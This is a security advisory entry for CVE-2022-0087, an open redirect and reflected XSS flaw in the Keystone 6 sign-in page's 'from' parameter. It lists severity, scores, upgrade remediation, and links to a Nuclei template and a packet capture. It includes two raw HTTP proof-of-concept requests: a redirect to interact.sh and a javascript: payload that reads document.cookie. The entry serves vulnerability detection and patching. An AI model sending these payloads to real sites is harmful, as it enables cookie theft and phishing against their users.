| Title | Keystone 6 Login Page - Open Redirect and Cross-Site Scripting |
|---|---|
| Author | ShivanshKhari |
| Severity | Medium |
| Impact | Attackers can redirect users to malicious websites or inject malicious JavaScript via the from parameter, potentially facilitating phishing attacks or stealing user credentials. |
| Remediation | Please upgrade to @keystone-6/auth >= 1.0.2, where this vulnerability has been closed. If you are using @keystone-next/auth, we strongly recommend you upgrade to @keystone-6 |
| CVSS Score | 6.1 |
| EPSS Score | 0.56131 |
| CVE ID | CVE-2022-0087 |
| CWE ID | CWE-79 |
| Tags | cve cve2022 keystone redirect xss node.js keystonejs vuln |
On the login page, there is a “from=” parameter in URL which is vulnerable to open redirect and can be escalated to reflected XSS.
GET /signin?from=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /signin?from=javascript:alert(document.cookie) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2486.0 Safari/537.36 Edge/13.10586
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0087.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-0087.pcap
N/AN/A